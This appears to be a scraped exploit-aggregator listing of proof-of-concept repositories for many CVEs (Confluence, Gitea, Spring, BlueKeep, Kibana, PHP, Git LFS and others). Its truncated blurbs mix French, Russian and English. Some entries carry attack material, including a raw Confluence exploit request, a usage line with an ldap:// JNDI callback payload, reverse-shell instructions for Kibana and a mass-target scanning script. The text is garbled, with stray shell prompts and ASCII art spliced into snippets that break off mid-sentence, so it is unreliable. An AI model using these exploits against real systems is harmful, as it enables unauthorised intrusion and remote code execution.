CVE-2019-3396

CVE-2019-3396 Traversée de chemin du Widget Connector Confluence CVE-2019-3396 RCE POC root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: x.x.x.x Connection: close Accept-Encoding: gzip, deflate Accept: / User-Agent: Mozilla/5.0 X11; Linux x8664; rv:60.0 Gecko/20100101 Firefox/60.0...

CVE-2022-30781

🍵 CVE-2022-30781 Эксплойт удалённого выполнения команд при миграции репозитория Gitea. Как использовать 1. Запустите HTTP-сервер для раздачи файлов из этого репозитория. 2. Отредактируйте команду, которая будет выполнена, в api/v1/repos/e99/exp/pulls/1/index.html L96. 3. Мигрируйте удалённый...

spring-framework-rce

spring-framework-rce CVE-2022-22965 Prérequis 1. tomcat8 8 Utilisation 1. Téléchargez springframeworkrce-0.0.1-SNAPSHOT.zip, décompressez-le, puis renommez-le en ROOT.war. 2. Remplacez le dossier ROOT ou le fichier ROOT.war situé dans le dossier webapps de tomcat. 3. Déplacez-vous dans le dossier...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2019-0708

CVE-2019-0708 первоначальный эксплойт для CVE-2019-0708, BlueKeep CVE-2019-0708 BlueKeep RDP удаленное ядро Windows Use After Free Драйвер RDP termdd.sys неправильно обрабатывает привязки к внутреннему каналу MST120, что позволяет с помощью искаженного сообщения Disconnect Provider Indication...

CVE-2026-14982

The WP File Download plugin for WordPress (versions ≤ 6.3.4 ) is vulnerable to arbitrary file deletion via insufficient path validation in the delete function. Authenticated attackers with subscriber-level access or above can exploit a two-stage attack : first calling the file.save endpoint to pe...

CVE-2022-25581

CVE-2022-25581 Introuvable sur tout le web, je laisse une sauvegarde, script d'exploitation Python , pour automatiser les étapes suivantes : ✅ Objectifs du script 1. Se connecter à l'interface d'administration obtenir csrf et token 2. Construire une requête malveillante pour télécharger une archi...

CVE-2019-7609

CVE-2019-7609 настройка docker-лаборатории для kibana-7609 Ссылка : https://github.com/mpgn/CVE-2019-7609 root@kitploit: Откройте Kibana Вставьте один из следующих пейлоадов в визуализатор Timelion Нажмите Run На левой панели нажмите на Canvas Ваш reverse shell должен появиться! : пейлоад от...

CVE-2022-22965_Spring_Core_RCE

Spring-Core-RCE Vulnérabilité d'exécution de commandes à distance dans Spring Framework CVE-2022-22965 Spring-Core-RCE est comparable à l'exploit RCE en un clic de la vulnérabilité de niveau « bombe nucléaire » Apache Log4j2. Aperçu Récemment, une issue GitHub officielle de Spring a mentionné une...

pulse-secure-vpn-mitm-research

pulse-secure-vpn-mitm-research Recherche MITM sur Pulse Secure Date de publication Date de publication conjointe avec le fournisseur : 26 octobre 2020 Auteur David Kierznowski, @withdk Crédits Sahil Mahajan de l’équipe PSIRT de Pulse Secure pour le soutien tout au long du processus de divulgation...

confluence-rce-poc

confluence-rce-poc Configuration du POC pour CVE-2021-26084 Docker Utilisez le fichier docker-entrypoint.sh officiel pour postgres, modifiez le nom d'utilisateur et le mot de passe de la base de données selon vos besoins...

pulse-gosecure-rce-poc

root@kitploit: /\ \ /\ \ /\ \ /\ \ /\ \ /::\ \ /::\ /::\ /::\ \ /::\ \ /::::\ \ /:::/ / /:::/ / /::::\ \ /::::\ \ /::::::\ \ /:::/ / /:::/ / /::::::\ \ /::::::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ \ /::::\ :::\ \ /:::/ /...

CVE-2023-46404

CVE-2023-46404 PCRS est une application web pour des exercices de programmation en ligne développée à l'Université de Toronto. Voir le dépôt Bitbucket : https://bitbucket.org/utmandrew/pcrs/src/3.11/ Résumé La page « Questions » de PCRS avec soumission de code et la page « Éditeur de code » sont...

HG532d-RCE-Exploit

Exploit RCE HG532d Vue d'ensemble Un exploit d'exécution de code à distance RCE basé sur la vulnérabilité CVE-2017-17215. Modifié à partir du code PoC original de exploit-db.com pour fonctionner sur les routeurs domestiques Huawei HG532d. Description Cet exploit RCE est basé sur CVE-2017-17215 qu...

CVE-2024-4577

Ceci est un POC du CVE 2024-4577 Cet exploit permet à un attaquant d'effectuer RCE dans PHP Versions such as PHP 8.3 8.3.8 PHP 8.2 8.2.20 PHP 8.1 8.1.29 Arguments you can check from code! To read more about this particular exploit check nist.gov...

CVE-2022-26134-Confluence-RCE

Эксплойт для CVE-2022-26134: Confluence — удалённое выполнение кода без аутентификации через OGNL-инъекцию Ещё один эксплойт в стране OGNL Описание Confluence — это корпоративная веб-вики, разработанная австралийской компанией Atlassian. 2 июня 2022 года Atlassian выпустила уведомление о...

CVE-2020-27955-LFS-main

Git-lfs эксплойт удалённого выполнения кода RCE CVE-2020-27955 .bat / powershell версия Уязвимы: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken и др. Обнаружено Dawid Golunski https://legalhackers.com https://exploitbox.io Протестировано на Windows на: git...

CVE-2023-24489-poc

CVE-2023-24489-poc PoC для CVE-2023-24489 на bash. Для работы нужен файл target.txt со списком целей, которые вы хотите проверить, в следующем формате: https://example1.com https://example2.com https://example3.com Файл должен находиться в той же директории, где выполняется bash-скрипт. Пожалуйст...

CVE-2025-52136

CVE-2025-52136 root@kitploit: https://github.com/ricardojoserf/emqx-RCE Исходный метод эксплуатации заключается в загрузке плагина EMQX, добавлении в код шаблона плагина вызова Erlang-модуля os для выполнения системных команд и получения RCE. В среде с выходом в интернет, где по умолчанию доступе...

CVE-2026-22812-POC

OpenCode CVE-2026-22812 Exploiter Простые Python-инструменты для проверки и эксплуатации уязвимости OpenCode CVE-2026-22812. Установка root@kitploit: git clone https://github.com/CayberMods/CVE-2026-22812-POC.git cd CVE-2026-22812-POC pip install requests urllib3 argparse concurrent-log-handler...